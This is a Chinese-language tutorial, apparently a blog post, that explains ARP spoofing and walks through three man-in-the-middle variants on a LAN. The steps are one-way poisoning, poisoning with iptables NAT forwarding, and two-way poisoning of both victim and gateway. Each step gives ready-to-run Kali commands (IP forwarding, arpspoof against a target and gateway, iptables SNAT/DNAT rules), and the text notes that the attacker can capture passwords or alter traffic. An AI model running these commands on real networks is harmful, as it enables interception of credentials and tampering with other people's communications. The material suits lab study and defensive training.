apr攻击原理:ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。攻击者向电脑A发送一个伪造的ARP响应,告诉电脑A:电脑B的IP地址192.168.0.2对应的MAC地址是00-aa-00-62-c6-03,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中,以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.0.1对应的MAC地址是00-aa-00-62-c6-03,电脑B也会将数据发送给攻击者。
至此攻击者就控制了电脑A和电脑B之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑B之间的通信内容。
详细过程:
一、单向攻击
受攻击主机将数据发送到攻击主机,并由攻击主机转发至网关,网关将数据发送至服务器,服务器返回数据给网关,网关返回数据给受攻击主机。
kali linuix:1. 开启端口转发,允许本机像路由器那样转发数据包
echo 1 > /proc/sys/net/ipv4/ip_forward
2. ARP投毒,向主机B声称自己(攻击者)就是网关
arpspoof -h
Usage: arpspoof [-i interface] [-t target] host
arpspoof -i eth0 -t 192.168.159.132 192.168.159.2
(192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址)
3、wireshark抓包分析
二、攻击者仅仅欺骗被攻击主机、同时在本地进行Iptable NAT转发(双向)
使用NAT技术,从服务端返回的数据包也会经过攻击者的主机了,这样,攻击者就可以在本地进行流量内容的修改、流量注入了
1. 开启端口转发,允许本机像路由器那样转发数据包
echo 1 > /proc/sys/net/ipv4/ip_forward
2. ARP投毒,向主机B声称自己(攻击者)就是网关
arpspoof -i eth0 -t 192.168.159.132 192.168.159.2
(192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址)
3. 使用Iptables进行NAT数据包转发
iptables -t nat -A POSTROUTING -p tcp -s 192.168.159.0/24 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -p tcp -d 192.168.159.254 -j DNAT --to 192.168.159.132
有关Iptables的原理请参阅另一篇文章:
http://www.cnblogs.com/LittleHann/p/3708222.html
三、攻击者同时欺骗被攻击主机和网关(双向)
在双向ARP欺骗中,攻击者仅仅充当了一个"数据包路由转发"的角色,将两个方向的数据包都进行转发
1. 开启端口转发,允许本机像路由器那样转发数据包
echo 1 > /proc/sys/net/ipv4/ip_forward
2. ARP投毒,向主机B声称自己(攻击者)就是网关
arpspoof -i eth0 -t 192.168.159.132 192.168.159.2
(192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址)
这个指令翻译为中间即为: 告诉"192.168.159.132"这个人,"192.168.159.2"这个IP的MAC就是攻击者本机的MAC地址
3. ARP投毒,向网关G声称自己(攻击者)就是网关
arpspoof -i eth0 -t 192.168.159.2 192.168.159.132
(192.168.159.2是网关IP地址、192.168.159.132是我们的攻击目标)
这个指令翻译为中间即为: 告诉"192.168.159.2"这个人,"192.168.159.132"这个IP的MAC就是攻击者本机的MAC地址
详细请查看:http://www.cnblogs.com/LittleHann/p/3735602.html